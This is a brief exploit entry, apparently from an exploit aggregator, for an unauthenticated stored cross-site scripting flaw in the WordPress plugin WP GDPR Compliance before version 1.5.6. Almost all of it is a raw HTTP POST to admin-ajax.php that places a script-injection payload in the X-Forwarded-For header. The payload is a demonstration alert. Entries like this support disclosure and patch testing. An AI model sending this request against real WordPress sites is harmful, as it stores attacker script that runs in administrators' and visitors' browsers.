Exploit for WP GDPR Compliance < 1.5.6 - Unauthenticated Stored Cross-Site Scripting (XSS)

## https://sploitus.com/exploit?id=WPEX-ID:69655879-9FD5-49A3-96CE-81E43B8D8438
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 0.0.0.0:31337
X-Forwarded-For: 1.1.1.1"><img src=x onerror=alert(1)>

action=wpgdprc_process_action&security=cccf5a60ec&data={"type":"access_request","email":"xss@example.com","consent":true}